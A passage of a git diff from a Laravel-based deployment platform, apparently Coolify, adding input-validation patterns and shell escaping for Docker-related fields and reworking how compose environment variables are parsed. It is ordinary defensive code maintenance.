str_contains($entry['message'], 'ScheduledJobManager') || str_contains($entry['message'], 'started')) { continue; } diff --git a/app/Support/ValidationPatterns.php b/app/Support/ValidationPatterns.php index a2da0fc46..7084b4cc2 100644 --- a/app/Support/ValidationPatterns.php +++ b/app/Support/ValidationPatterns.php @@ -9,14 +9,55 @@ class ValidationPatterns { /** * Pattern for names excluding all dangerous characters - */ - public const NAME_PATTERN = '/^[\p{L}\p{M}\p{N}\s\-_.@\/&]+$/u'; + */ + public const NAME_PATTERN = '/^[\p{L}\p{M}\p{N}\s\-_.@\/&()#,:+]+$/u'; /** * Pattern for descriptions excluding all dangerous characters with some additional allowed characters */ public const DESCRIPTION_PATTERN = '/^[\p{L}\p{M}\p{N}\s\-_.,!?()\'\"+=*@\/&]+$/u'; + /** + * Pattern for file paths (dockerfile location, docker compose location, etc.) + * Allows alphanumeric, dots, hyphens, underscores, slashes, @, ~, and + + */ + public const FILE_PATH_PATTERN = '/^\/[a-zA-Z0-9._\-\/~@+]+$/'; + + /** + * Pattern for directory paths (base_directory, publish_directory, etc.) + * Like FILE_PATH_PATTERN but also allows bare "/" (root directory) + */ + public const DIRECTORY_PATH_PATTERN = '/^\/([a-zA-Z0-9._\-\/~@+]*)?$/'; + + /** + * Pattern for Docker build target names (multi-stage build stage names) + * Allows alphanumeric, dots, hyphens, and underscores + */ + public const DOCKER_TARGET_PATTERN = '/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/'; + + /** + * Pattern for shell-safe command strings (docker compose commands, docker run options) + * Blocks dangerous shell metacharacters: ; | ` $ ( ) > < newlines and carriage returns + * Allows & for command chaining (&&) which is common in multi-step build commands + * Allows double quotes for build args with spaces (e.g. --build-arg KEY="value") + * Blocks backslashes and single quotes to prevent escape-sequence attacks + * Uses [ \t] instead of \s to explicitly exclude \n and \r (which act as command separators) + */ + public const SHELL_SAFE_COMMAND_PATTERN = '/^[a-zA-Z0-9 \t._\-\/=:@,+\[\]{}#%^~&"]+$/'; + + /** + * Pattern for Docker volume names + * Must start with alphanumeric, followed by alphanumeric, dots, hyphens, or underscores + * Matches Docker's volume naming rules + */ + public const VOLUME_NAME_PATTERN = '/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/'; + + /** + * Pattern for Docker container names + * Must start with alphanumeric, followed by alphanumeric, dots, hyphens, or underscores + */ + public const CONTAINER_NAME_PATTERN = '/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/'; + /** * Get validation rules for name fields */ @@ -64,7 +105,7 @@ public static function descriptionRules(bool $required = false, int $maxLength = public static function nameMessages(): array { return [ - 'name.regex' => "The name may only contain letters (including Unicode), numbers, spaces, and these characters: - _ . / @ &", + 'name.regex' => 'The name may only contain letters (including Unicode), numbers, spaces, and these characters: - _ . / @ & ( ) # , : +', 'name.min' => 'The name must be at least :min characters.', 'name.max' => 'The name may not be greater than :max characters.', ]; @@ -81,7 +122,95 @@ public static function descriptionMessages(): array ]; } - /** + /** + * Get validation rules for file path fields (dockerfile location, docker compose location) + */ + public static function filePathRules(int $maxLength = 255): array + { + return ['nullable', 'string', 'max:'.$maxLength, 'regex:'.self::FILE_PATH_PATTERN]; + } + + /** + * Get validation messages for file path fields + */ + public static function filePathMessages(string $field = 'dockerfileLocation', string $label = 'Dockerfile'): array + { + return [ + "{$field}.regex" => "The {$label} location must be a valid path starting with / and containing only alphanumeric characters, dots, hyphens, underscores, slashes, @, ~, and +.", + ]; + } + + /** + * Get validation rules for directory path fields (base_directory, publish_directory) + */ + public static function directoryPathRules(int $maxLength = 255): array + { + return ['nullable', 'string', 'max:'.$maxLength, 'regex:'.self::DIRECTORY_PATH_PATTERN]; + } + + /** + * Get validation rules for Docker build target fields + */ + public static function dockerTargetRules(int $maxLength = 128): array + { + return ['nullable', 'string', 'max:'.$maxLength, 'regex:'.self::DOCKER_TARGET_PATTERN]; + } + + /** + * Get validation rules for shell-safe command fields + */ + public static function shellSafeCommandRules(int $maxLength = 1000): array + { + return ['nullable', 'string', 'max:'.$maxLength, 'regex:'.self::SHELL_SAFE_COMMAND_PATTERN]; + } + + /** + * Get validation rules for Docker volume name fields + */ + public static function volumeNameRules(bool $required = true, int $maxLength = 255): array + { + $rules = []; + + if ($required) { + $rules[] = 'required'; + } else { + $rules[] = 'nullable'; + } + + $rules[] = 'string'; + $rules[] = "max:$maxLength"; + $rules[] = 'regex:'.self::VOLUME_NAME_PATTERN; + + return $rules; + } + + /** + * Get validation messages for volume name fields + */ + public static function volumeNameMessages(string $field = 'name'): array + { + return [ + "{$field}.regex" => 'The volume name must start with an alphanumeric character and contain only alphanumeric characters, dots, hyphens, and underscores.', + ]; + } + + /** + * Get validation rules for container name fields + */ + public static function containerNameRules(int $maxLength = 255): array + { + return ['string', 'max:'.$maxLength, 'regex:'.self::CONTAINER_NAME_PATTERN]; + } + + /** + * Check if a string is a valid Docker container name. + */ + public static function isValidContainerName(string $name): bool + { + return preg_match(self::CONTAINER_NAME_PATTERN, $name) === 1; + } + + /** * Get combined validation messages for both name and description fields */ public static function combinedMessages(): array diff --git a/app/Traits/ExecuteRemoteCommand.php b/app/Traits/ExecuteRemoteCommand.php index a60a47b93..bb252148a 100644 --- a/app/Traits/ExecuteRemoteCommand.php +++ b/app/Traits/ExecuteRemoteCommand.php @@ -3,6 +3,7 @@ namespace App\Traits; use App\Enums\ApplicationDeploymentStatus; +use App\Exceptions\DeploymentException; use App\Helpers\SshMultiplexingHelper; use App\Models\Server; use Carbon\Carbon; @@ -77,6 +78,7 @@ public function execute_remote_command(...$commands) $customType = data_get($single_command, 'type'); $ignore_errors = data_get($single_command, 'ignore_errors', false); $append = data_get($single_command, 'append', true); + $command_hidden = data_get($single_command, 'command_hidden', false); $this->save = data_get($single_command, 'save'); if ($this->server->isNonRoot()) { if (str($command)->startsWith('docker exec')) { @@ -101,9 +103,9 @@ public function execute_remote_command(...$commands) while ($attempt < $maxRetries && ! $commandExecuted) { try { - $this->executeCommandWithProcess($command, $hidden, $customType, $append, $ignore_errors); + $this->executeCommandWithProcess($command, $hidden, $customType, $append, $ignore_errors, $command_hidden); $commandExecuted = true; - } catch (\RuntimeException $e) { + } catch (\RuntimeException|DeploymentException $e) { $lastError = $e; $errorMessage = $e->getMessage(); // Only retry if it's an SSH connection error and we haven't exhausted retries @@ -111,13 +113,6 @@ public function execute_remote_command(...$commands) $attempt++; $delay = $this->calculateRetryDelay($attempt - 1); - // Track SSH retry event in Sentry - $this->trackSshRetryEvent($attempt, $maxRetries, $delay, $errorMessage, [ - 'server' => $this->server->name ?? $this->server->ip ?? 'unknown', - 'command' => $this->redact_sensitive_info($command), - 'trait' => 'ExecuteRemoteCommand', - ]); - // Add log entry for the retry if (isset($this->application_deployment_queue)) { $this->addRetryLogEntry($attempt, $maxRetries, $delay, $errorMessage); @@ -158,10 +153,14 @@ public function execute_remote_command(...$commands) /** * Execute the actual command with process handling */ - private function executeCommandWithProcess($command, $hidden, $customType, $append, $ignore_errors) + private function executeCommandWithProcess($command, $hidden, $customType, $append, $ignore_errors, $command_hidden = false) { + if ($command_hidden && isset($this->application_deployment_queue)) { + $this->application_deployment_queue->addLogEntry('[CMD]: '.$this->redact_sensitive_info($command), hidden: true); + } + $remote_command = SshMultiplexingHelper::generateSshCommand($this->server, $command); - $process = Process::timeout(config('constants.ssh.command_timeout'))->idleTimeout(3600)->start($remote_command, function (string $type, string $output) use ($command, $hidden, $customType, $append) { + $process = Process::timeout(config('constants.ssh.command_timeout'))->idleTimeout(3600)->start($remote_command, function (string $type, string $output) use ($command, $hidden, $customType, $append, $command_hidden) { $output = str($output)->trim(); if ($output->startsWith('╔')) { $output = "\n".$output; @@ -171,9 +170,9 @@ private function executeCommandWithProcess($command, $hidden, $customType, $appe $sanitized_output = sanitize_utf8_text($output); $new_log_entry = [ - 'command' => $this->redact_sensitive_info($command), + 'command' => $command_hidden ? null : $this->redact_sensitive_info($command), 'output' => $this->redact_sensitive_info($sanitized_output), - 'type' => $customType ?? $type === 'err' ? 'stderr' : 'stdout', + 'type' => $customType ?? ($type === 'err' ? 'stderr' : 'stdout'), 'timestamp' => Carbon::now('UTC'), 'hidden' => $hidden, 'batch' => static::$batch_counter, @@ -240,7 +239,7 @@ private function executeCommandWithProcess($command, $hidden, $customType, $appe $error = $process_result->output() ?: 'Command failed with no error output'; } $redactedCommand = $this->redact_sensitive_info($command); - throw new \RuntimeException("Command execution failed (exit code {$process_result->exitCode()}): {$redactedCommand}\nError: {$error}"); + throw new DeploymentException("Command execution failed (exit code {$process_result->exitCode()}): {$redactedCommand}\nError: {$error}"); } } } diff --git a/app/Traits/HasMetrics.php b/app/Traits/HasMetrics.php index 667d58441..7ed82cc91 100644 --- a/app/Traits/HasMetrics.php +++ b/app/Traits/HasMetrics.php @@ -2,6 +2,8 @@ namespace App\Traits; +use App\Models\ServerSetting; + trait HasMetrics { public function getCpuMetrics(int $mins = 5): ?array @@ -26,8 +28,13 @@ private function getMetrics(string $type, int $mins, string $valueField): ?array $from = now()->subMinutes($mins)->toIso8601ZuluString(); $endpoint = $this->getMetricsEndpoint($type, $from); + $token = $server->settings->sentinel_token; + if (! ServerSetting::isValidSentinelToken($token)) { + throw new \Exception('Invalid sentinel token format. Please regenerate the token.'); + } + $response = instant_remote_process( - ["docker exec coolify-sentinel sh -c 'curl -H \"Authorization: Bearer {$server->settings->sentinel_token}\" {$endpoint}'"], + ["docker exec coolify-sentinel sh -c 'curl -H \"Authorization: Bearer {$token}\" {$endpoint}'"], $server, false ); diff --git a/boost.json b/boost.json index 34b67ce76..13914521e 100644 --- a/boost.json +++ b/boost.json @@ -6,18 +6,23 @@ "opencode" ], "guidelines": true, - "herd_mcp": false, "mcp": true, + "nightwatch_mcp": false, "packages": [ "laravel/fortify", - "spatie/laravel-ray" + "spatie/laravel-ray", + "lorisleiva/laravel-actions" ], "sail": false, "skills": [ + "laravel-best-practices", + "configuring-horizon", + "socialite-development", "livewire-development", "pest-testing", "tailwindcss-development", - "developing-with-fortify", + "fortify-development", + "laravel-actions", "debugging-output-and-previewing-html-using-ray" ] } diff --git a/bootstrap/helpers/api.php b/bootstrap/helpers/api.php index 5674d37f6..ec42761f7 100644 --- a/bootstrap/helpers/api.php +++ b/bootstrap/helpers/api.php @@ -92,7 +92,7 @@ function sharedDataApplications() 'static_image' => Rule::enum(StaticImageTypes::class), 'domains' => 'string|nullable', 'redirect' => Rule::enum(RedirectTypes::class), - 'git_commit_sha' => 'string', + 'git_commit_sha' => ['string', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'], 'docker_registry_image_name' => 'string|nullable', 'docker_registry_image_tag' => 'string|nullable', 'install_command' => 'string|nullable', @@ -101,15 +101,17 @@ function sharedDataApplications() 'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/', 'ports_mappings' => 'string|regex:/^(\d+:\d+)(,\d+:\d+)*$/|nullable', 'custom_network_aliases' => 'string|nullable', - 'base_directory' => 'string|nullable', - 'publish_directory' => 'string|nullable', + 'base_directory' => \App\Support\ValidationPatterns::directoryPathRules(), + 'publish_directory' => \App\Support\ValidationPatterns::directoryPathRules(), 'health_check_enabled' => 'boolean', - 'health_check_path' => 'string', - 'health_check_port' => 'string|nullable', - 'health_check_host' => 'string', - 'health_check_method' => 'string', + 'health_check_type' => 'string|in:http,cmd', + 'health_check_command' => ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'], + 'health_check_path' => ['string', 'regex:#^[a-zA-Z0-9/\-_.~%]+$#'], + 'health_check_port' => 'integer|nullable|min:1|max:65535', + 'health_check_host' => ['string', 'regex:/^[a-zA-Z0-9.\-_]+$/'], + 'health_check_method' => 'string|in:GET,HEAD,POST,OPTIONS', 'health_check_return_code' => 'numeric', - 'health_check_scheme' => 'string', + 'health_check_scheme' => 'string|in:http,https', 'health_check_response_text' => 'string|nullable', 'health_check_interval' => 'numeric', 'health_check_timeout' => 'numeric', @@ -123,21 +125,24 @@ function sharedDataApplications() 'limits_cpuset' => 'string|nullable', 'limits_cpu_shares' => 'numeric', 'custom_labels' => 'string|nullable', - 'custom_docker_run_options' => 'string|nullable', + 'custom_docker_run_options' => \App\Support\ValidationPatterns::shellSafeCommandRules(2000), + // Security: deployment commands are intentionally arbitrary shell (e.g. "php artisan migrate"). + // Access is gated by API token authentication. Commands run inside the app container, not the host. 'post_deployment_command' => 'string|nullable', - 'post_deployment_command_container' => 'string', + 'post_deployment_command_container' => \App\Support\ValidationPatterns::containerNameRules(), 'pre_deployment_command' => 'string|nullable', - 'pre_deployment_command_container' => 'string', + 'pre_deployment_command_container' => \App\Support\ValidationPatterns::containerNameRules(), 'manual_webhook_secret_github' => 'string|nullable', 'manual_webhook_secret_gitlab' => 'string|nullable', 'manual_webhook_secret_bitbucket' => 'string|nullable', 'manual_webhook_secret_gitea' => 'string|nullable', - 'dockerfile_location' => ['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'], - 'docker_compose_location' => ['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'], + 'dockerfile_location' => \App\Support\ValidationPatterns::filePathRules(), + 'dockerfile_target_build' => \App\Support\ValidationPatterns::dockerTargetRules(), + 'docker_compose_location' => \App\Support\ValidationPatterns::filePathRules(), 'docker_compose' => 'string|nullable', 'docker_compose_domains' => 'array|nullable', - 'docker_compose_custom_start_command' => 'string|nullable', - 'docker_compose_custom_build_command' => 'string|nullable', + 'docker_compose_custom_start_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), + 'docker_compose_custom_build_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), 'is_container_label_escape_enabled' => 'boolean', ]; } diff --git a/bootstrap/helpers/applications.php b/bootstrap/helpers/applications.php index 03c53989c..c522cd0ca 100644 --- a/bootstrap/helpers/applications.php +++ b/bootstrap/helpers/applications.php @@ -191,6 +191,10 @@ function clone_application(Application $source, $destination, array $overrides = $uuid = $overrides['uuid'] ?? (string) new Cuid2; $server = $destination->server; + if ($server->team_id !== currentTeam()->id) { + throw new \RuntimeException('Destination does not belong to the current team.'); + } + // Prepare name and URL $name = $overrides['name'] ?? 'clone-of-'.str($source->name)->limit(20).'-'.$uuid; $applicationSettings = $source->settings; diff --git a/bootstrap/helpers/docker.php b/bootstrap/helpers/docker.php index 8212f9dc6..5905ed3c1 100644 --- a/bootstrap/helpers/docker.php +++ b/bootstrap/helpers/docker.php @@ -137,10 +137,16 @@ function checkMinimumDockerEngineVersion($dockerVersion) return $dockerVersion; } +function escapeShellValue(string $value): string +{ + return "'".str_replace("'", "'\\''", $value)."'"; +} + function executeInDocker(string $containerId, string $command) { - return "docker exec {$containerId} bash -c '{$command}'"; - // return "docker exec {$this->deployment_uuid} bash -c '{$command} |& tee -a /proc/1/fd/1; [ \$PIPESTATUS -eq 0 ] || exit \$PIPESTATUS'"; + $escapedCommand = str_replace("'", "'\\''", $command); + + return "docker exec {$containerId} bash -c '{$escapedCommand}'"; } function getContainerStatus(Server $server, string $container_id, bool $all_data = false, bool $throwError = false) @@ -1005,6 +1011,7 @@ function convertDockerRunToCompose(?string $custom_docker_run_options = null) '--ulimit' => 'ulimits', '--privileged' => 'privileged', '--ip' => 'ip', + '--ip6' => 'ip6', '--shm-size' => 'shm_size', '--gpus' => 'gpus', '--hostname' => 'hostname', diff --git a/bootstrap/helpers/parsers.php b/bootstrap/helpers/parsers.php index 53060d28f..4ca693fcb 100644 --- a/bootstrap/helpers/parsers.php +++ b/bootstrap/helpers/parsers.php @@ -442,9 +442,9 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int $value = str($value); $regex = '/\$(\{?([a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*)\}?)/'; preg_match_all($regex, $value, $valueMatches); - if (count($valueMatches[1]) > 0) { - foreach ($valueMatches[1] as $match) { - $match = replaceVariables($match); + if (count($valueMatches[2]) > 0) { + foreach ($valueMatches[2] as $match) { + $match = str($match); if ($match->startsWith('SERVICE_')) { if ($magicEnvironments->has($match->value())) { continue; @@ -789,7 +789,10 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int $mainDirectory = str(base_configuration_dir().'/applications/'.$uuid); } $source = replaceLocalSource($source, $mainDirectory); - if ($isPullRequest) { + $isPreviewSuffixEnabled = $foundConfig + ? (bool) data_get($foundConfig, 'is_preview_suffix_enabled', true) + : true; + if ($isPullRequest && $isPreviewSuffixEnabled) { $source = addPreviewDeploymentSuffix($source, $pull_request_id); } LocalFileVolume::updateOrCreate( @@ -986,65 +989,155 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int continue; } if ($key->value() === $parsedValue->value()) { - $value = null; + // Simple variable reference (e.g. DATABASE_URL: ${DATABASE_URL}) + // Ensure the variable exists in DB for .env generation and UI display $resource->environment_variables()->firstOrCreate([ 'key' => $key, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ - 'value' => $value, 'is_preview' => false, ]); + // Keep the ${VAR} reference in compose — Docker Compose resolves from .env at deploy time. + // Do NOT replace with DB value: if user updates env var without re-parsing compose, + // a stale resolved value in environment: would override the correct .env value. } else { if ($value->startsWith('$')) { $isRequired = false; - if ($value->contains(':-')) { - $value = replaceVariables($value); - $key = $value->before(':'); - $value = $value->after(':-'); - } elseif ($value->contains('-')) { - $value = replaceVariables($value); - $key = $value->before('-'); - $value = $value->after('-'); - } elseif ($value->contains(':?')) { - $value = replaceVariables($value); + // Extract variable content between ${...} using balanced brace matching + $result = extractBalancedBraceContent($value->value(), 0); - $key = $value->before(':'); - $value = $value->after(':?'); - $isRequired = true; - } elseif ($value->contains('?')) { - $value = replaceVariables($value); + if ($result !== null) { + $content = $result['content']; + $split = splitOnOperatorOutsideNested($content); - $key = $value->before('?'); - $value = $value->after('?'); - $isRequired = true; - } - if ($originalValue->value() === $value->value()) { - // This means the variable does not have a default value, so it needs to be created in Coolify - $parsedKeyValue = replaceVariables($value); + if ($split !== null) { + // Has default value syntax (:-, -, :?, or ?) + $varName = $split['variable']; + $operator = $split['operator']; + $defaultValue = $split['default']; + $isRequired = str_contains($operator, '?'); + + // Create the primary variable with its default (only if it doesn't exist) + $envVar = $resource->environment_variables()->firstOrCreate([ + 'key' => $varName, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'value' => $defaultValue, + 'is_preview' => false, + 'is_required' => $isRequired, + ]); + + // Add the variable to the environment so it will be shown in the deployable compose file + $environment[$varName] = $envVar->value; + + // Recursively process nested variables in default value + if (str_contains($defaultValue, '${')) { + $searchPos = 0; + $nestedResult = extractBalancedBraceContent($defaultValue, $searchPos); + while ($nestedResult !== null) { + $nestedContent = $nestedResult['content']; + $nestedSplit = splitOnOperatorOutsideNested($nestedContent); + + // Determine the nested variable name + $nestedVarName = $nestedSplit !== null ? $nestedSplit['variable'] : $nestedContent; + + // Skip SERVICE_URL_* and SERVICE_FQDN_* variables - they are handled by magic variable system + $isMagicVariable = str_starts_with($nestedVarName, 'SERVICE_URL_') || str_starts_with($nestedVarName, 'SERVICE_FQDN_'); + + if (! $isMagicVariable) { + if ($nestedSplit !== null) { + $nestedEnvVar = $resource->environment_variables()->firstOrCreate([ + 'key' => $nestedSplit['variable'], + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'value' => $nestedSplit['default'], + 'is_preview' => false, + ]); + $environment[$nestedSplit['variable']] = $nestedEnvVar->value; + } else { + $nestedEnvVar = $resource->environment_variables()->firstOrCreate([ + 'key' => $nestedContent, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'is_preview' => false, + ]); + $environment[$nestedContent] = $nestedEnvVar->value; + } + } + + $searchPos = $nestedResult['end'] + 1; + if ($searchPos >= strlen($defaultValue)) { + break; + } + $nestedResult = extractBalancedBraceContent($defaultValue, $searchPos); + } + } + } else { + // Simple variable reference without default + $parsedKeyValue = replaceVariables($value); + $envVar = $resource->environment_variables()->firstOrCreate([ + 'key' => $content, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'is_preview' => false, + 'is_required' => $isRequired, + ]); + // Add the variable to the environment using the saved DB value + $environment[$content] = $envVar->value; + } + } else { + // Fallback to old behavior for malformed input (backward compatibility) + if ($value->contains(':-')) { + $value = replaceVariables($value); + $key = $value->before(':'); + $value = $value->after(':-'); + } elseif ($value->contains('-')) { + $value = replaceVariables($value); + $key = $value->before('-'); + $value = $value->after('-'); + } elseif ($value->contains(':?')) { + $value = replaceVariables($value); + $key = $value->before(':'); + $value = $value->after(':?'); + $isRequired = true; + } elseif ($value->contains('?')) { + $value = replaceVariables($value); + $key = $value->before('?'); + $value = $value->after('?'); + $isRequired = true; + } + if ($originalValue->value() === $value->value()) { + // This means the variable does not have a default value + $parsedKeyValue = replaceVariables($value); + $envVar = $resource->environment_variables()->firstOrCreate([ + 'key' => $parsedKeyValue, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'is_preview' => false, + 'is_required' => $isRequired, + ]); + // Add the variable to the environment using the saved DB value + $environment[$parsedKeyValue->value()] = $envVar->value; + + continue; + } $resource->environment_variables()->firstOrCreate([ - 'key' => $parsedKeyValue, + 'key' => $key, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ + 'value' => $value, 'is_preview' => false, 'is_required' => $isRequired, ]); - // Add the variable to the environment so it will be shown in the deployable compose file - $environment[$parsedKeyValue->value()] = $value; - - continue; } - $resource->environment_variables()->firstOrCreate([ - 'key' => $key, - 'resourceable_type' => get_class($resource), - 'resourceable_id' => $resource->id, - ], [ - 'value' => $value, - 'is_preview' => false, - 'is_required' => $isRequired, - ]); } } } @@ -1205,6 +1298,13 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int // Otherwise keep empty string as-is } + // Resolve shared variable patterns like {{environment.VAR}}, {{project.VAR}}, {{team.VAR}} + // Without this, literal {{...}} strings end up in the compose environment: section, + // which takes precedence over the resolved values in the .env file (env_file:) + if (is_string($value) && str_contains($value, '{{')) { + $value = resolveSharedEnvironmentVariables($value, $resource); + } + return $value; }); } @@ -1219,19 +1319,19 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int } if (! $isDatabase && $fqdns instanceof Collection && $fqdns->count() > 0) { $shouldGenerateLabelsExactly = $resource->destination->server->settings->generate_exact_labels; - $uuid = $resource->uuid; - $network = data_get($resource, 'destination.network'); + $labelUuid = $resource->uuid; + $labelNetwork = data_get($resource, 'destination.network'); if ($isPullRequest) { - $uuid = "{$resource->uuid}-{$pullRequestId}"; + $labelUuid = "{$resource->uuid}-{$pullRequestId}"; } if ($isPullRequest) { - $network = "{$resource->destination->network}-{$pullRequestId}"; + $labelNetwork = "{$resource->destination->network}-{$pullRequestId}"; } if ($shouldGenerateLabelsExactly) { switch ($server->proxyType()) { case ProxyTypes::TRAEFIK->value: $serviceLabels = $serviceLabels->merge(fqdnLabelsForTraefik( - uuid: $uuid, + uuid: $labelUuid, domains: $fqdns, is_force_https_enabled: $originalResource->isForceHttpsEnabled(), serviceLabels: $serviceLabels, @@ -1243,8 +1343,8 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int break; case ProxyTypes::CADDY->value: $serviceLabels = $serviceLabels->merge(fqdnLabelsForCaddy( - network: $network, - uuid: $uuid, + network: $labelNetwork, + uuid: $labelUuid, domains: $fqdns, is_force_https_enabled: $originalResource->isForceHttpsEnabled(), serviceLabels: $serviceLabels, @@ -1258,7 +1358,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int } } else { $serviceLabels = $serviceLabels->merge(fqdnLabelsForTraefik( - uuid: $uuid, + uuid: $labelUuid, domains: $fqdns, is_force_https_enabled: $originalResource->isForceHttpsEnabled(), serviceLabels: $serviceLabels, @@ -1268,8 +1368,8 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int image: $image )); $serviceLabels = $serviceLabels->merge(fqdnLabelsForCaddy( - network: $network, - uuid: $uuid, + network: $labelNetwork, + uuid: $labelUuid, domains: $fqdns, is_force_https_enabled: $originalResource->isForceHttpsEnabled(), serviceLabels: $serviceLabels, @@ -1411,6 +1511,9 @@ function serviceParser(Service $resource): Collection return collect([]); } + // Extract inline comments from raw YAML before Symfony parser discards them + $envComments = extractYamlEnvironmentComments($compose); + $server = data_get($resource, 'server'); $allServices = get_service_templates(); @@ -1420,6 +1523,18 @@ function serviceParser(Service $resource): Collection return collect([]); } $services = data_get($yaml, 'services', collect([])); + + // Clean up corrupted environment variables from previous parser bugs + // (keys starting with $ or ending with } should not exist as env var names) + $resource->environment_variables() + ->where('resourceable_type', get_class($resource)) + ->where('resourceable_id', $resource->id) + ->where(function ($q) { + $q->where('key', 'LIKE', '$%') + ->orWhere('key', 'LIKE', '%}'); + }) + ->delete(); + $topLevel = collect([ 'volumes' => collect(data_get($yaml, 'volumes', [])), 'networks' => collect(data_get($yaml, 'networks', [])), @@ -1597,9 +1712,9 @@ function serviceParser(Service $resource): Collection $value = str($value); $regex = '/\$(\{?([a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*)\}?)/'; preg_match_all($regex, $value, $valueMatches); - if (count($valueMatches[1]) > 0) { - foreach ($valueMatches[1] as $match) { - $match = replaceVariables($match); + if (count($valueMatches[2]) > 0) { + foreach ($valueMatches[2] as $match) { + $match = str($match); if ($match->startsWith('SERVICE_')) { if ($magicEnvironments->has($match->value())) { continue; @@ -1694,51 +1809,60 @@ function serviceParser(Service $resource): Collection } // ALWAYS create BOTH base SERVICE_URL and SERVICE_FQDN pairs (without port) + $fqdnKey = "SERVICE_FQDN_{$serviceName}"; $resource->environment_variables()->updateOrCreate([ - 'key' => "SERVICE_FQDN_{$serviceName}", + 'key' => $fqdnKey, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ 'value' => $fqdnValueForEnv, 'is_preview' => false, + 'comment' => $envComments[$fqdnKey] ?? null, ]); + $urlKey = "SERVICE_URL_{$serviceName}"; $resource->environment_variables()->updateOrCreate([ - 'key' => "SERVICE_URL_{$serviceName}", + 'key' => $urlKey, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ 'value' => $url, 'is_preview' => false, + 'comment' => $envComments[$urlKey] ?? null, ]); // For port-specific variables, ALSO create port-specific pairs // If template variable has port, create both URL and FQDN with port suffix if ($parsed['has_port'] && $port) { + $fqdnPortKey = "SERVICE_FQDN_{$serviceName}_{$port}"; $resource->environment_variables()->updateOrCreate([ - 'key' => "SERVICE_FQDN_{$serviceName}_{$port}", + 'key' => $fqdnPortKey, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ 'value' => $fqdnValueForEnvWithPort, 'is_preview' => false, + 'comment' => $envComments[$fqdnPortKey] ?? null, ]); + $urlPortKey = "SERVICE_URL_{$serviceName}_{$port}"; $resource->environment_variables()->updateOrCreate([ - 'key' => "SERVICE_URL_{$serviceName}_{$port}", + 'key' => $urlPortKey, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ 'value' => $urlWithPort, 'is_preview' => false, + 'comment' => $envComments[$urlPortKey] ?? null, ]); } } } $allMagicEnvironments = $allMagicEnvironments->merge($magicEnvironments); if ($magicEnvironments->count() > 0) { - foreach ($magicEnvironments as $key => $value) { - $key = str($key); + foreach ($magicEnvironments as $magicKey => $value) { + $originalMagicKey = $magicKey; // Preserve original key for comment lookup + $key = str($magicKey); $value = replaceVariables($value); $command = parseCommandFromMagicEnvVariable($key); if ($command->value() === 'FQDN') { @@ -1762,6 +1886,8 @@ function serviceParser(Service $resource): Collection $serviceExists->fqdn = $url; $serviceExists->save(); } + // Create FQDN variable (use firstOrCreate to avoid overwriting values + // already set by direct template declarations or updateCompose) $resource->environment_variables()->firstOrCreate([ 'key' => $key->value(), 'resourceable_type' => get_class($resource), @@ -1769,11 +1895,25 @@ function serviceParser(Service $resource): Collection ], [ 'value' => $fqdn, 'is_preview' => false, + 'comment' => $envComments[$originalMagicKey] ?? null, + ]); + + // Also create the paired SERVICE_URL_* variable + $urlKey = 'SERVICE_URL_'.strtoupper($fqdnFor); + $resource->environment_variables()->firstOrCreate([ + 'key' => $urlKey, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'value' => $url, + 'is_preview' => false, + 'comment' => $envComments[$urlKey] ?? null, ]); } elseif ($command->value() === 'URL') { $urlFor = $key->after('SERVICE_URL_')->lower()->value(); $url = generateUrl(server: $server, random: str($urlFor)->replace('_', '-')->value()."-$uuid"); + $fqdn = generateFqdn(server: $server, random: str($urlFor)->replace('_', '-')->value()."-$uuid", parserVersion: $resource->compose_parsing_version); $envExists = $resource->environment_variables()->where('key', $key->value())->first(); // Also check if a port-suffixed version exists (e.g., SERVICE_URL_DASHBOARD_6791) @@ -1790,6 +1930,8 @@ function serviceParser(Service $resource): Collection $serviceExists->fqdn = $url; $serviceExists->save(); } + // Create URL variable (use firstOrCreate to avoid overwriting values + // already set by direct template declarations or updateCompose) $resource->environment_variables()->firstOrCreate([ 'key' => $key->value(), 'resourceable_type' => get_class($resource), @@ -1797,6 +1939,19 @@ function serviceParser(Service $resource): Collection ], [ 'value' => $url, 'is_preview' => false, + 'comment' => $envComments[$originalMagicKey] ?? null, + ]); + + // Also create the paired SERVICE_FQDN_* variable + $fqdnKey = 'SERVICE_FQDN_'.strtoupper($urlFor); + $resource->environment_variables()->firstOrCreate([ + 'key' => $fqdnKey, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'value' => $fqdn, + 'is_preview' => false, + 'comment' => $envComments[$fqdnKey] ?? null, ]); } else { @@ 